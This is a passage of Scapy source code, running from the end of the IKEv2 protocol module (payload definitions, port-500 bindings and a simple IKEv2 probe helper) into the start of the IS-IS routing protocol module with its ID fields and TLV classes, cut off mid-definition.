"", length_from=lambda x: x.gw_id_len) ), lambda pkt: pkt.type in (16407, 16408) ), ConditionalField( # REDIRECT (RFC 5685) XStrLenField("nonce", "", length_from=lambda x:x.length - 10 - x.gw_id_len), lambda pkt: pkt.type == 16407 ) ] class IKEv2_KE(IKEv2_Payload): name = "IKEv2 Key Exchange" fields_desc = IKEv2_Payload.fields_desc[:3] + [ ShortEnumField("group", 0, IKEv2TransformAlgorithms[4]), ShortField("res2", 0), XStrLenField("ke", "", length_from=lambda pkt: pkt.length - 8), ] class IKEv2_IDi(IKEv2_Payload): # RFC 7296, section 3.5 name = "IKEv2 Identification - Initiator" fields_desc = IKEv2_Payload.fields_desc[:3] + [ ByteEnumField("IDtype", 1, {1: "IPv4_addr", 2: "FQDN", 3: "Email_addr", 5: "IPv6_addr", 11: "Key"}), # noqa: E501 X3BytesField("res2", 0), MultipleTypeField( [ (IPField("ID", "127.0.0.1"), lambda pkt: pkt.IDtype == 1), (IP6Field("ID", "::1"), lambda pkt: pkt.IDtype == 5), ], XStrLenField("ID", "", length_from=lambda pkt: pkt.length - 8), ) ] class IKEv2_IDr(IKEv2_Payload): # RFC 7296, section 3.5 name = "IKEv2 Identification - Responder" fields_desc = IKEv2_Payload.fields_desc[:3] + [ ByteEnumField("IDtype", 1, {1: "IPv4_addr", 2: "FQDN", 3: "Email_addr", 5: "IPv6_addr", 11: "Key"}), # noqa: E501 X3BytesField("res2", 0), MultipleTypeField( [ (IPField("ID", "127.0.0.1"), lambda pkt: pkt.IDtype == 1), (IP6Field("ID", "::1"), lambda pkt: pkt.IDtype == 5), ], XStrLenField("ID", "", length_from=lambda pkt: pkt.length - 8), ) ] class IKEv2_Encrypted(IKEv2_Payload): name = "IKEv2 Encrypted and Authenticated" class ConfigurationAttribute(Packet): name = "IKEv2 Configuration Attribute" fields_desc = [ ShortEnumField("type", 1, IKEv2ConfigurationAttributeTypes), FieldLenField("length", None, "value", "H"), MultipleTypeField( [ (IPField("value", "127.0.0.1"), lambda pkt: pkt.length == 4 and pkt.type in (1, 2, 3, 4, 6, 20)), (IP6Field("value", "::1"), lambda pkt: pkt.length == 16 and pkt.type in (10, 12, 21)), ], XStrLenField("value", "", length_from=lambda pkt: pkt.length), ) ] def extract_padding(self, s): return b'', s class IKEv2_CP(IKEv2_Payload): # RFC 7296, section 3.15 name = "IKEv2 Configuration" fields_desc = IKEv2_Payload.fields_desc[:3] + [ ByteEnumField("CFGType", 1, IKEv2ConfigurationPayloadCFGTypes), X3BytesField("res2", 0), PacketListField("attributes", None, ConfigurationAttribute, length_from=lambda pkt: pkt.length - 8), ] class IKEv2_Encrypted_Fragment(IKEv2_Payload): name = "IKEv2 Encrypted and Authenticated Fragment" fields_desc = IKEv2_Payload.fields_desc[:3] + [ ShortField("frag_number", 1), ShortField("frag_total", 1), XStrLenField("load", "", length_from=lambda pkt: pkt.length - 8), ] class IKEv2_CERTREQ(IKEv2_Payload): name = "IKEv2 Certificate Request" fields_desc = IKEv2_Payload.fields_desc[:3] + [ ByteEnumField("cert_encoding", 0, IKEv2CertificateEncodings), XStrLenField("cert_authority", "", length_from=lambda pkt: pkt.length - 5), ] class IKEv2_CERT(IKEv2_Payload): name = "IKEv2 Certificate" fields_desc = IKEv2_Payload.fields_desc[:3] + [ ByteEnumField("cert_encoding", 4, IKEv2CertificateEncodings), MultipleTypeField( [ (PacketLenField("cert_data", X509_Cert(), X509_Cert, length_from=lambda pkt: pkt.length - 5), lambda pkt: pkt.cert_encoding == 4), (PacketLenField("cert_data", X509_CRL(), X509_CRL, length_from=lambda pkt: pkt.length - 5), lambda pkt: pkt.cert_encoding == 7) ], XStrLenField("cert_data", "", length_from=lambda pkt: pkt.length - 5), ) ] # TODO: the following payloads are not fully dissected yet class IKEv2_EAP(IKEv2_Payload): name = "IKEv2 Extensible Authentication" class IKEv2_GSPM(IKEv2_Payload): name = "Generic Secure Password Method" class IKEv2_IDg(IKEv2_Payload): name = "Group Identification" class IKEv2_GSA(IKEv2_Payload): name = "Group Security Association" class IKEv2_KD(IKEv2_Payload): name = "Key Download" class IKEv2_PS(IKEv2_Payload): name = "Puzzle Solution" # bind all IKEv2 payload classes together bind_layers(_IKEv2_Packet, IKEv2_Proposal, next_payload=2) bind_layers(_IKEv2_Packet, IKEv2_Transform, next_payload=3) bind_layers(_IKEv2_Packet, IKEv2_SA, next_payload=33) bind_layers(_IKEv2_Packet, IKEv2_KE, next_payload=34) bind_layers(_IKEv2_Packet, IKEv2_IDi, next_payload=35) bind_layers(_IKEv2_Packet, IKEv2_IDr, next_payload=36) bind_layers(_IKEv2_Packet, IKEv2_CERT, next_payload=37) bind_layers(_IKEv2_Packet, IKEv2_CERTREQ, next_payload=38) bind_layers(_IKEv2_Packet, IKEv2_AUTH, next_payload=39) bind_layers(_IKEv2_Packet, IKEv2_Nonce, next_payload=40) bind_layers(_IKEv2_Packet, IKEv2_Notify, next_payload=41) bind_layers(_IKEv2_Packet, IKEv2_Delete, next_payload=42) bind_layers(_IKEv2_Packet, IKEv2_VendorID, next_payload=43) bind_layers(_IKEv2_Packet, IKEv2_TSi, next_payload=44) bind_layers(_IKEv2_Packet, IKEv2_TSr, next_payload=45) bind_layers(_IKEv2_Packet, IKEv2_Encrypted, next_payload=46) bind_layers(_IKEv2_Packet, IKEv2_CP, next_payload=47) bind_layers(_IKEv2_Packet, IKEv2_EAP, next_payload=48) bind_layers(_IKEv2_Packet, IKEv2_GSPM, next_payload=49) bind_layers(_IKEv2_Packet, IKEv2_IDg, next_payload=50) bind_layers(_IKEv2_Packet, IKEv2_GSA, next_payload=51) bind_layers(_IKEv2_Packet, IKEv2_KD, next_payload=52) bind_layers(_IKEv2_Packet, IKEv2_Encrypted_Fragment, next_payload=53) bind_layers(_IKEv2_Packet, IKEv2_PS, next_payload=54) # the upper bindings for port 500 to ISAKMP are handled by IKEv2.dispatch_hook split_bottom_up(UDP, ISAKMP, dport=500) split_bottom_up(UDP, ISAKMP, sport=500) bind_bottom_up(UDP, IKEv2, dport=500) bind_bottom_up(UDP, IKEv2, sport=500) bind_top_down(UDP, IKEv2, dport=500, sport=500) split_bottom_up(NON_ESP, ISAKMP) bind_bottom_up(NON_ESP, IKEv2) def ikev2scan(ip, **kwargs): """Send a IKEv2 SA to an IP and wait for answers.""" return sr(IP(dst=ip) / UDP() / IKEv2(init_SPI=RandString(8), exch_type=34) / IKEv2_SA(prop=IKEv2_Proposal()), **kwargs) # noqa: E501 ================================================ FILE: scapy/contrib/isis.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2014-2016 BENOCS GmbH, Berlin (Germany) # Copyright (C) 2020 Metaswitch, London (UK) # scapy.contrib.description = Intermediate System to Intermediate System (ISIS) # scapy.contrib.status = loads """ IS-IS Scapy Extension ~~~~~~~~~~~~~~~~~~~~~ :authors: Marcel Patzlaff, mpatzlaff@benocs.com Michal Kaliszan, mkaliszan@benocs.com Tom Zhu, tom.zhu@metaswitch.com :description: This module provides Scapy layers for the Intermediate System to Intermediate System routing protocol as defined in RFC 1195. Currently it (partially) supports the packaging/encoding requirements of the following RFCs: * RFC 1195 (only the TCP/IP related part) * RFC 3358 (optional checksums) * RFC 5301 (dynamic hostname extension) * RFC 5302 (domain-wide prefix distribution) * RFC 5303 (three-way handshake) * RFC 5304 (cryptographic authentication) * RFC 5308 (routing IPv6 with IS-IS) * RFC 8667 (IS-IS extensions for segment routing) :TODO: - packet relations (requests, responses) - support for recent RFCs: * RFC 5305 (traffic engineering) * RFC 5307 (support for G-MPLS) * RFC 5310 (generic cryptographic authentication) * RFC 5316 (inter-AS MPLS and G-MPLS TE) """ import struct import random from scapy.config import conf from scapy.fields import BitField, BitFieldLenField, BoundStrLenField, \ ByteEnumField, ByteField, ConditionalField, Field, FieldLenField, \ FieldListField, FlagsField, IEEEFloatField, IP6PrefixField, IPField, \ IPPrefixField, IntField, LongField, MACField, PacketField, \ PacketListField, ShortField, ThreeBytesField, XIntField, XShortField from scapy.packet import bind_layers, Packet from scapy.layers.clns import network_layer_protocol_ids, register_cln_protocol from scapy.layers.inet6 import IP6ListField, IP6Field from scapy.utils import fletcher16_checkbytes from scapy.volatile import RandString, RandByte from scapy.compat import orb, hex_bytes EXT_VERSION = "v0.0.3" ####################################################################### # ISIS Utilities + Fields # ####################################################################### def isis_area2str(area): return b"".join(hex_bytes(x) for x in area.split(".")) def isis_str2area(s): if len(s) == 0: return "" numbytes = len(s[1:]) fmt = "%02X" + (".%02X%02X" * (numbytes // 2)) + ("" if (numbytes % 2) == 0 else ".%02X") # noqa: E501 return fmt % tuple(orb(x) for x in s) def isis_sysid2str(sysid): return b"".join(hex_bytes(x) for x in sysid.split(".")) def isis_str2sysid(s): return ("%02X%02X." * 3)[:-1] % tuple(orb(x) for x in s) def isis_nodeid2str(nodeid): return isis_sysid2str(nodeid[:-3]) + hex_bytes(nodeid[-2:]) def isis_str2nodeid(s): return "%s.%02X" % (isis_str2sysid(s[:-1]), orb(s[-1])) def isis_lspid2str(lspid): return isis_nodeid2str(lspid[:-3]) + hex_bytes(lspid[-2:]) def isis_str2lspid(s): return "%s-%02X" % (isis_str2nodeid(s[:-1]), orb(s[-1])) class _ISIS_IdFieldBase(Field): __slots__ = ["to_str", "to_id", "length"] def __init__(self, name, default, length, to_str, to_id): self.to_str = to_str self.to_id = to_id self.length = length Field.__init__(self, name, default, "%is" % length) def i2m(self, pkt, x): if x is None: return b"\0" * self.length return self.to_str(x) def m2i(self, pkt, x): return self.to_id(x) def any2i(self, pkt, x): if isinstance(x, str) and len(x) == self.length: return self.m2i(pkt, x) return x class _ISIS_RandId(RandString): def __init__(self, template): RandString.__init__(self) self.bytecount = template.count("*") self.format = template.replace("*", "%02X") def _fix(self): if self.bytecount == 0: return "" val = () for _ in range(self.bytecount): val += (RandByte(),) return self.format % val class _ISIS_RandAreaId(_ISIS_RandId): def __init__(self, bytecount=None): template = "*" + ( ".**" * ((self.bytecount - 1) // 2) ) + ( "" if ((self.bytecount - 1) % 2) == 0 else ".*" ) super(_ISIS_RandAreaId, self).__init__(template) if bytecount is None: self.bytecount = random.randint(1, 13) else: self.bytecount = bytecount class ISIS_AreaIdField(Field): __slots__ = ["length_from"] def __init__(self, name, default, length_from): Field.__init__(self, name, default) self.length_from = length_from def i2m(self, pkt, x): return isis_area2str(x) def m2i(self, pkt, x): return isis_str2area(x) def i2len(self, pkt, x): if x is None: return 0 tmp_len = len(x) # l/5 is the number of dots in the Area ID return (tmp_len - (tmp_len // 5)) // 2 def addfield(self, pkt, s, val): sval = self.i2m(pkt, val) return s + struct.pack("!%is" % len(sval), sval) def getfield(self, pkt, s): numbytes = self.length_from(pkt) return s[numbytes:], self.m2i(pkt, struct.unpack("!%is" % numbytes, s[:numbytes])[0]) # noqa: E501 def randval(self): return _ISIS_RandAreaId() class ISIS_SystemIdField(_ISIS_IdFieldBase): def __init__(self, name, default): _ISIS_IdFieldBase.__init__(self, name, default, 6, isis_sysid2str, isis_str2sysid) # noqa: E501 def randval(self): return _ISIS_RandId("**.**.**") class ISIS_NodeIdField(_ISIS_IdFieldBase): def __init__(self, name, default): _ISIS_IdFieldBase.__init__(self, name, default, 7, isis_nodeid2str, isis_str2nodeid) # noqa: E501 def randval(self): return _ISIS_RandId("**.**.**.*") class ISIS_LspIdField(_ISIS_IdFieldBase): def __init__(self, name, default): _ISIS_IdFieldBase.__init__(self, name, default, 8, isis_lspid2str, isis_str2lspid) # noqa: E501 def randval(self): return _ISIS_RandId("**.**.**.*-*") class ISIS_CircuitTypeField(FlagsField): def __init__(self, name="circuittype", default=2, size=8, names=None): if names is None: names = ["L1", "L2", "r0", "r1", "r2", "r3", "r4", "r5"] FlagsField.__init__(self, name, default, size, names) def _ISIS_GuessTlvClass_Helper(tlv_classes, defaultname, p, **kargs): cls = conf.raw_layer if len(p) >= 2: tlvtype = orb(p[0]) clsname = tlv_classes.get(tlvtype, defaultname) cls = globals()[clsname] return cls(p, **kargs) class _ISIS_GenericTlv_Base(Packet): fields_desc = [ByteField("type", 0), FieldLenField("len", None, length_of="val", fmt="B"), BoundStrLenField("val", "", length_from=lambda pkt: pkt.len)] # noqa: E501 def guess_payload_class(self, p): return conf.padding_layer class ISIS_GenericTlv(_ISIS_GenericTlv_Base): name = "ISIS Generic TLV" class ISIS_GenericSubTlv(_ISIS_GenericTlv_Base): name = "ISIS Generic Sub-TLV" ####################################################################### # ISIS Sub-TLVs for TLVs 22, 23, 141, 222, 223 # ####################################################################### _isis_subtlv_classes_1 = { 3: "ISIS_AdministrativeGroupSubTlv", 4: "ISIS_LinkLocalRemoteIdentifiersSubTlv", 6: "ISIS_IPv4InterfaceAddressSubTlv", 8: "ISIS_IPv4NeighborAddressSubTlv", 9: "ISIS_MaximumLinkBandwidthSubTlv", 10: "ISIS_MaximumReservableLinkBandwidthSubTlv", 11: "ISIS_UnreservedBandwidthSubTlv", 12: "ISIS_IPv6InterfaceAddressSubTlv", 13: "ISIS_IPv6NeighborAddressSubTlv", 18: "ISIS_TEDefaultMetricSubTlv" } _isis_subtlv_names_1 = { 3: "Administrative Group (Color)", 4: "Link Local/Remote Identifiers", 6: "IPv4 Interface Address", 8: "IPv4 Neighbor Address", 9: "Maximum Link Bandwidth", 10: "Maximum Reservable Link Bandwidth", 11: "Unreserved Bandwidth", 12: "IPv6 Interface Address", 13: "IPv6 Neighbor Address", 18: "TE Default Metric" } def _ISIS_GuessSubTlvClass_1(p, **kargs): return _ISIS_GuessTlvClass_Helper(_isis_subtlv_classes_1, "ISIS_GenericSubTlv", p, **kargs) # noqa: E501 class ISIS_IPv4InterfaceAddressSubTlv(ISIS_GenericSubTlv): name = "ISIS IPv4 Interface Address (S)" fields_desc = [ByteEnumField("type", 6, _isis_subtlv_names_1), FieldLenField("len", None, length_of="address", fmt="B"), IPField("address", "0.0.0.0")] class ISIS_IPv4NeighborAddressSubTlv(ISIS_GenericSubTlv): name = "ISIS IPv4 Neighbor Address (S)" fields_desc = [ByteEnumField("type", 8, _isis_subtlv_names_1), FieldLenField("len", None, length_of="address", fmt="B"), IPField("address", "0.0.0.0")] class ISIS_LinkLocalRemoteIdentifiersSubTlv(ISIS_GenericSubTlv): name = "ISIS Link Local/Remote Identifiers (S)" fields_desc = [ByteEnumField("type", 4, _isis_subtlv_names_1), FieldLenField("len", 8, fmt="B"), IntField("localid", "0"), IntField("remoteid", "0")] class ISIS_IPv6InterfaceAddressSubTlv(ISIS_GenericSubTlv): name = "ISIS IPv6 Interface Address (S)" fields_desc = [ByteEnumField("type", 12, _isis_subtlv_names_1), FieldLenField("len", None, length_of="address", fmt="B"), IP6Field("address", "::")] class ISIS_IPv6NeighborAddressSubTlv(ISIS_GenericSubTlv): name = "ISIS IPv6 Neighbor Address (S)" fields_desc = [ByteEnumField("type", 13, _isis_subtlv_names_1), FieldLenField("len", None, length_of="address", fmt="B"), IP6Field("address", "::")] class ISIS_AdministrativeGroupSubTlv(ISIS_GenericSubTlv): name = "Administrative Group SubTLV (Color)" fields_desc = [ByteEnumField("code", 3, _isis_subtlv_names_1), FieldLenField("len", None, length_of="admingroup", fmt="B"), IPField("admingroup", "0.0.0.1")] class ISIS_MaximumLinkBandwidthSubTlv(ISIS_GenericSubTlv): name = "Maximum Link Bandwidth SubTLV" fields_desc = [ByteEnumField("type", 9, _isis_subtlv_names_1), FieldLenField("len", None, length_of="maxbw", fmt="B"), IEEEFloatField("maxbw", 1000)] # in B/s class ISIS_MaximumReservableLinkBandwidthSubTlv(ISIS_GenericSubTlv): name = "Maximum Reservable Link Bandwidth SubTLV" fields_desc = [ByteEnumField("type", 10, _isis_subtlv_names_1), FieldLenField("len", None, length_of="maxrsvbw", fmt="B"), IEEEFloatField("maxrsvbw", 1000)] # in B/s class ISIS_UnreservedBandwidthSubTlv(ISIS_GenericSubTlv): name = "Unreserved Bandwidth SubTLV" fields_desc = [ByteEnumField("type", 11, _isis_subtlv_names_1), FieldLenField("len", None, length_of="unrsvbw", fmt="B"), FieldListField("unrsvbw", [1000, 1000, 1000, 1000, 1000, 1000, 1000, 1000], IEEEFloatField("", 1000), count_from=lambda pkt: pkt.len / 4)] # in B/s # noqa: E501 class ISIS_TEDefaultMetricSubTlv(ISIS_GenericSubTlv): name = "TE Default Metric SubTLV" fields_desc = [ByteEnumField("type", 18, _isis_subtlv_names_1), FieldLenField("len", None, length_of="temetric", adjust=lambda pkt, x:x - 1, fmt="B"), # noqa: E501 ThreeBytesField("temetric", 1000)] ####################################################################### # ISIS Sub-TLVs for TLVs 135, 235, 236, and 237 # ####################################################################### _isis_subtlv_classes_2 = { 1: "ISIS_32bitAdministrativeTagSubTlv", 2: "ISIS_64bitAdministrativeTagSubTlv", 3: "ISIS_PrefixSegmentIdentifierSubTlv" } _isis_subtlv_names_2 = { 1: "32-bit Administrative Tag", 2: "64-bit Administrative Tag", 3: "Prefix Segment Identifier" } def _ISIS_GuessSubTlvClass_2(p, **kargs): return _ISIS_GuessTlvClass_Helper(_isis_subtlv_classes_2, "ISIS_GenericSubTlv", p, **kargs) # noqa: E501 class ISIS_32bitAdministrativeTagSubTlv(ISIS_GenericSubTlv): name = "ISIS 32-bit Administrative Tag (S)" fields_desc = [ByteEnumField("type", 1, _isis_subtlv_names_2), FieldLenField("len", None, length_of="tags", fmt="B"), FieldListField("tags", [], IntField("", 0), count_from=lambda pkt: pkt.len // 4)] # noqa: E501 class ISIS_64bitAdministrativeTagSubTlv(ISIS_GenericSubTlv): name = "ISIS 64-bit Administrative Tag (S)" fields_desc = [ByteEnumField("type", 2, _isis_subtlv_names_2), FieldLenField("len", None, length_of="tags", fmt="B"), FieldListField("tags", [], LongField("", 0), count_from=lambda pkt: pkt.len // 8)] # noqa: E501 class ISIS_PrefixSegmentIdentifierSubTlv(ISIS_GenericSubTlv): name = "ISIS Prefix SID sub TLV" fields_desc = [ByteEnumField("type", 3, _isis_subtlv_names_2), ByteField("len", 5), FlagsField( "flags", 0, 8, ["res1", "res2", "L", "V", "E", "P", "N", "R"]), ByteField("algorithm", 0), ConditionalField(ThreeBytesField("sid", 0), lambda pkt: pkt.len == 5), ConditionalField(IntField("idx", 0), lambda pkt: pkt.len == 6)] ####################################################################### # ISIS Sub-TLVs for TLVs 149, 150 # ####################################################################### _isis_subtlv_classes_3 = { 1: "ISIS_SIDLabelSubTLV" } _isis_subtlv_names_3 = { 1: "ISIS SID/Label sub TLV" } def _ISIS_GuessSubTlvClass_3(p, **kargs): return _ISIS_GuessTlvClass_Helper( _isis_subtlv_classes_3, "ISIS_GenericSubTlv", p, **kargs) class ISIS_SIDLabelSubTLV(ISIS_GenericSubTlv): name = "ISIS SID Label sub TLV" fields_desc = [ ByteEnumField("type", 1, _isis_subtlv_names_3), ByteField("len", 3), ConditionalField(ThreeBytesField("sid", 0), lambda pkt: pkt.len == 3), ConditionalField(IntField("idx", 0), lambda pkt: pkt.len == 4) ] ####################################################################### # ISIS Sub-TLVs for TLV 242 # ####################################################################### _isis_subtlv_classes_4 = { 2: "ISIS_SRCapabilitiesSubTLV", 19: "ISIS_SRAlgorithmSubTLV", } _isis_subtlv_names_4 = { 2: "Segment Routing Capability sub TLV", 19: "Segment Routing Algorithm", } def _ISIS_GuessSubTlvClass_4(p, **kargs): return _ISIS_GuessTlvClass_Helper( _isis_subtlv_classes_4, "ISIS_GenericSubTlv", p, **kargs) class ISIS_SRGBDescriptorEntry(Packet): name = "ISIS SRGB Descriptor" fields_desc = [ ThreeBytesField("range", 0), PacketField("sid_label", None, ISIS_SIDLabelSubTLV) ] def extract_padding(self, s): return "", s class ISIS_SRCapabilitiesSubTLV(ISIS_GenericSubTlv): name = "ISIS SR Capabilities TLV" fields_desc = [ ByteEnumField("type", 2, _isis_subtlv_names_3), FieldLenField( "len", None, length_of="srgb_ranges", adjust=lambda pkt, x: x + 1, fmt="B"), FlagsField( "flags", 0, 8, ["res1", "res2", "res3", "res4", "res5", "res6", "V", "I"]), PacketListField( "srgb_ranges", [], ISIS_SRGBDescriptorEntry, length_from=lambda pkt: pkt.len - 1) ] class ISIS_SRAlgorithmSubTLV(ISIS_GenericSubTlv): name = "ISIS SR Algorithm sub TLV" fields_desc = [ ByteEnumField("type", 19, _isis_subtlv_names_4), FieldLenField("len", None, length_of="algorithms", fmt="B"), FieldListField( "algorithms", [0], ByteField("", 0), count_from=lambda pkt:pkt.len) ] ####################################################################### # ISIS TLVs # ####################################################################### _isis_tlv_classes = { 1: "ISIS_AreaTlv", 2: "ISIS_IsReachabilityTlv", 6: "ISIS_IsNeighbourTlv", 8: "ISIS_PaddingTlv", 9: "ISIS_LspEntryTlv", 10: "ISIS_AuthenticationTlv", 12: "ISIS_ChecksumTlv", 14: "ISIS_BufferSizeTlv", 22: "ISIS_ExtendedIsReachabilityTlv", 128: "ISIS_InternalIpReachabilityTlv", 129: "ISIS_ProtocolsSupportedTlv", 130: "ISIS_ExternalIpReachabilityTlv", 132: "ISIS_IpInterfaceAddressTlv", 135: "ISIS_ExtendedIpReachabilityTlv", 137: "ISIS_DynamicHostnameTlv", 232: "ISIS_Ipv6InterfaceAddressTlv", 236: "ISIS_Ipv6ReachabilityTlv", 240: "ISIS_P2PAdjacencyStateTlv", 242: "ISIS_RouterCapabilityTlv" } _isis_tlv_names = { 1: "Area TLV", 2: "IS Reachability TLV", 6: "IS Neighbour TLV", 7: "Instance Identifier TLV", 8: "Padding TLV", 9: "LSP Entries TLV", 10: "Authentication TLV", 12: "Optional Checksum TLV", 13: "Purge Originator Identification TLV", 14: "LSP Buffer Size TLV", 22: "Extended IS-Reachability TLV", 23: "IS Neighbour Attribute TLV", 24: "IS Alias ID", 128: "IP Internal Reachability TLV", 129: "Protocols Supported TLV", 130: "IP External Reachability TLV", 131: "Inter-Domain Routing Protocol Information TLV", 132: "IP Interface Address TLV", 134: "Traffic Engineering Router ID TLV", 135: "Extended IP Reachability TLV", 137: "Dynamic Hostname TLV", 138: "GMPLS Shared Risk Link Group TLV", 139: "IPv6 Shared Risk Link Group TLV", 140: "IPv6 Traffic Engineering Router ID TLV", 141: "Inter-AS Reachability Information TLV", 142: "Group Address TLV", 143: "Multi-Topology-Aware Port Capability TLV", 144: "Multi-Topology Capability TLV", 145: "TRILL Neighbour TLV", 147: "MAC-Reachability TLV", 148: "BFD-Enabled TLV", 211: "Restart TLV", 222: "Multi-Topology Intermediate Systems TLV", 223: "Multi-Topology IS Neighbour Attributes TLV", 229: "Multi-Topology TLV", 232: "IPv6 Interface Address TLV", 233: "IPv6 Global Interface Address TLV", 235: "Multi-Topology IPv4 Reachability TLV", 236: "IPv6 Reachability TLV", 237: "Multi-Topology IPv6 Reachability TLV", 240: "Point-to-Point Three-Way Adjacency TLV", 242: "IS-IS Router Capability TLV", 251: "Generic Information TLV" } def _ISIS_GuessTlvClass(p, **kargs): return _ISIS_GuessTlvClass_Helper(_isis_tlv_classes, "ISIS_GenericTlv", p, **kargs) # noqa: E501 class ISIS_AreaEntry(Packet): name = "ISIS Area Entry" fields_desc = [FieldLenField("arealen", None, length_of="areaid", fmt="B"), ISIS_AreaIdField("areaid", "49", length_from=lambda pkt: pkt.arealen)] # noqa: E501 def extract_padding(self, s): return "", s class ISIS_AreaTlv(ISIS_GenericTlv): name = "ISIS Area TLV" fields_desc = [ByteEnumField("type", 1, _isis_tlv_names), FieldLenField("len", None, length_of="areas", fmt="B"), PacketListField("areas", [], ISIS_AreaEntry, length_from=lambda x: x.len)] # noqa: E501 class ISIS_AuthenticationTlv(ISIS_GenericTlv): name = "ISIS Authentication TLV" fields_desc = [ByteEnumField("type", 10, _isis_tlv_names), FieldLenField("len", None, length_of="password", adjust=lambda pkt, x: x + 1, fmt="B"), # noqa: E501 ByteEnumField("authtype", 1, {1: "Plain", 17: "HMAC-MD5"}), BoundStrLenField("password", "", maxlen=254, length_from=lambda pkt: pkt.len - 1)] # noqa: E501 class ISIS_BufferSizeTlv(ISIS_GenericTlv): name = "ISIS Buffer Size TLV" fields_desc = [ByteEnumField("type", 14, _isis_tlv_names), ByteField("len", 2), ShortField("lspbuffersize", 1497)] class ISIS_ChecksumTlv(ISIS_GenericTlv): name = "ISIS Optional Checksum TLV" fields_desc = [ByteEnumField("type", 12, _isis_tlv_names), ByteField("len", 2), XShortField("checksum", None)] class ISIS_DynamicHostnameTlv(ISIS_GenericTlv): name = "ISIS Dynamic Hostname TLV" fields_desc = [ByteEnumField("type", 137, _isis_tlv_names), FieldLenField("len", None, length_of="hostname", fmt="B"), BoundStrLenField("hostname", "", length_from=lambda pkt: pkt.len)] # noqa: E501 class ISIS_ExtendedIpPrefix(Packet): name = "ISIS Extended IP Prefix" fields_desc = [ IntField("metric", 1), BitField("updown", 0, 1), BitField("subtlvindicator", 0, 1), BitFieldLenField("pfxlen", None, 6, length_of="pfx"), IPPrefixField("pfx", None, wordbytes=1, length_from=lambda x: x.pfxlen), # noqa: E501 ConditionalField(FieldLenField("subtlvslen", None, length_of="subtlvs", fmt="B"), lambda pkt: pkt.subtlvindicator == 1), # noqa: E501 ConditionalField(PacketListField("subtlvs", [], _ISIS_GuessSubTlvClass_2, length_from=lambda x: x.subtlvslen), lambda pkt: pkt.subtlvindicator == 1) # noqa: E501 ] def extract_padding(self, s): return "", s class ISIS_TERouterIDTlv(ISIS_GenericTlv): name = "ISIS TE Router ID TLV" fields_desc = [ByteEnumField("type", 134, _isis_tlv_names), FieldLenField("len", None, length_of="routerid", fmt="B"), IPField("routerid", "0.0.0.0")] class ISIS_ExtendedIpReachabilityTlv(ISIS_GenericTlv): name = "ISIS Extended IP Reachability TLV" fields_desc = [ByteEnumField("type", 135, _isis_tlv_names), FieldLenField("len", None, length_of="pfxs", fmt="B"), PacketListField("pfxs", [], ISIS_ExtendedIpPrefix, length_from=lambda pkt: pkt.len)] # noqa: E501 class ISIS_ExtendedIsNeighbourEntry(Packet): name = "ISIS Extended IS Neighbour Entry" fields_desc = [ ISIS_NodeIdField("neighbourid", "0102.0304.0506.07"), ThreeBytesField("metric", 1), FieldLenField("subtlvslen", None, length_of="subtlvs", fmt="B"), PacketListField("subtlvs", [], _ISIS_GuessSubTlvClass_1, length_from=lambda x: x.subtlvslen) # noqa: E501 ] def extract_padding(self, s): return "", s class ISIS_ExtendedIsReachabilityTlv(ISIS_GenericTlv): name = "ISIS Extended IS Reachability TLV" fields_desc = [ByteEnumField("type", 22, _isis_tlv_names), FieldLenField("len", None, length_of="neighbours", fmt="B"), PacketListField("neighbours", [], ISIS_ExtendedIsNeighbourEntry, length_from=lambda x: x.len)] # noqa: E501 class ISIS_IpInterfaceAddressTlv(ISIS_GenericTlv): name = "ISIS IP Interface Address TLV" fields_desc = [ByteEnumField("type", 132, _isis_tlv_names), FieldLenField("len", None, length_of="addresses", fmt="B"), FieldListField("addresses", [], IPField("", "0.0.0.0"), count_from=lambda pkt: pkt.len // 4)] # noqa: E501 class ISIS_Ipv6InterfaceAddressTlv(ISIS_GenericTlv): name = "ISIS IPv6 Interface Address TLV" fields_desc = [ ByteEnumField("type", 232, _isis_tlv_names), FieldLenField("len", None, length_of="addresses", fmt="B"), IP6ListField("addresses", [], count_from=lambda pkt: pkt.len // 16) ] class ISIS_Ipv6Prefix(Packet): name = "ISIS IPv6 Prefix" fields_desc = [ IntField("metric", 1), BitField("updown", 0, 1), BitField("external", 0, 1), BitField("subtlvindicator", 0, 1), BitField("reserved", 0, 5), FieldLenField("pfxlen", None, length_of="pfx", fmt="B"), IP6PrefixField("pfx", None, wordbytes=1, length_from=lambda x: x.pfxlen), # noqa: E501 ConditionalField(FieldLenField("subtlvslen", None, length_of="subtlvs", fmt="B"), lambda pkt: pkt.subtlvindicator == 1), # noqa: E501 ConditionalField(PacketListField("subtlvs", [], _ISIS_GuessSubTlvClass_2, length_from=lambda x: x.subtlvslen), lambda pkt: pkt.subtlvindicator == 1) # noqa: E501 ] def extract_padding(self, s): return "", s class ISIS_Ipv6ReachabilityTlv(ISIS_GenericTlv): name = "ISIS IPv6 Reachability TLV" fields_desc = [ByteEnumField("type", 236, _isis_tlv_names), FieldLenField("len", None, length_of="pfxs", fmt="B"), PacketListField("pfxs", [], ISIS_Ipv6Prefix, length_from=lambda pkt: pkt.len)] # noqa: E501 class ISIS_IsNeighbourTlv(ISIS_GenericTlv): name = "ISIS IS Neighbour TLV" fields_desc = [ByteEnumField("type", 6, _isis_tlv_names), FieldLenField("len", None, length_of="neighbours", fmt="B"), FieldListField("neighbours", [], MACField("", "00.00.00.00.00.00"), count_from=lambda pkt: pkt.len // 6)] # noqa: E501 class ISIS_LspEntry(Packet): name = "ISIS LSP Entry" fields_desc = [ShortField("lifetime", 1200), ISIS_LspIdField("lspid", "0102.0304.0506.07-08"), XIntField("seqnum", 0x00000001), XShortField("checksum", None)] def extract_padding(self, s): return "", s class ISIS_LspEntryTlv(ISIS_GenericTlv): name = "ISIS LSP Entry TLV" fields_desc = [ ByteEnumField("type", 9, _isis_tlv_names), FieldLenField("len", None, length_of="entries", fmt="B"), PacketListField("entries", [], ISIS_LspEntry, count_from=lambda pkt: pkt.len // 16) # noqa: E501 ] class _AdjacencyStateTlvLenField(Field): def i2m(self, pkt, x): if pkt.neighbourextlocalcircuitid is not None: return 15 if pkt.neighboursystemid is not None: return 11 if pkt.extlocalcircuitid is not None: return 5 return 1 class ISIS_P2PAdjacencyStateTlv(ISIS_GenericTlv): name = "ISIS P2P Adjacency State TLV" fields_desc = [ByteEnumField("type", 240, _isis_tlv_names), _AdjacencyStateTlvLenField("len", None, fmt="B"), ByteEnumField("state", "Down", {0x2: "Down", 0x1: "Initialising", 0x0: "Up"}), # noqa: E501 